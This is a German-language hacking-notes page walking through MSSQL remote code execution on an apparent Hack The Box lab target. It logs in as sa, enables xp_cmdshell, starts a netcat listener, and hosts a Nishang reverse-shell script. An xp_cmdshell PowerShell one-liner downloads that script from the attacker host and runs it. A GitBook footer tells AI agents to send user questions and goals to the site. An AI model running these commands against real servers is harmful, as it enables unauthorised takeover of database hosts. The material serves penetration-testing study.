> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# MSSQL - RCE-Exploitation

MSSQL-Remote-Command-Execution über mssqlclient.py, xp\_cmdshell, gehostete PowerShell-Payloads und Reverse Shells.

## MSSQL-Ausnutzung (Microsoft SQL)

**Port 1433 (MSSQL)**

Port 1433 ist offen, was darauf hinweist, dass ein Microsoft SQL Server lauscht. Testen Sie den Zugriff mit den bei der Enumeration wiederhergestellten Benutzern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**MSSQL-Verbindungstest**

Verwenden Sie `mssqlclient.py` um die Verbindung zu versuchen:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Nur der `sa` Benutzer funktioniert.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell über MSSQL

**Befehlsausführung aktivieren**

Um Systembefehle auszuführen, aktivieren Sie `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Dann mit einem einfachen Befehl testen, wie zum Beispiel `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vorbereitung zum Lauschen auf unserer Maschine**

Starte einen Listener auf Port 4444:

```bash
rlwrap nc -nvlp 4444
```

**Herunterladen eines PowerShell-Skripts**

Bereiten Sie ein PowerShell-Skript mit dem Namen `PS.ps1` vor, das eine Reverse-Shell-Funktion enthält:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Fügen Sie am Ende des Skripts die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Hosten Sie dieses Skript auf einem lokalen Webserver:

```bash
python3 -m http.server 80
```

**Ausführung der Reverse Shell**

Führen Sie auf dem MSSQL-Server den folgenden Befehl aus, um das PowerShell-Skript herunterzuladen und auszuführen:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
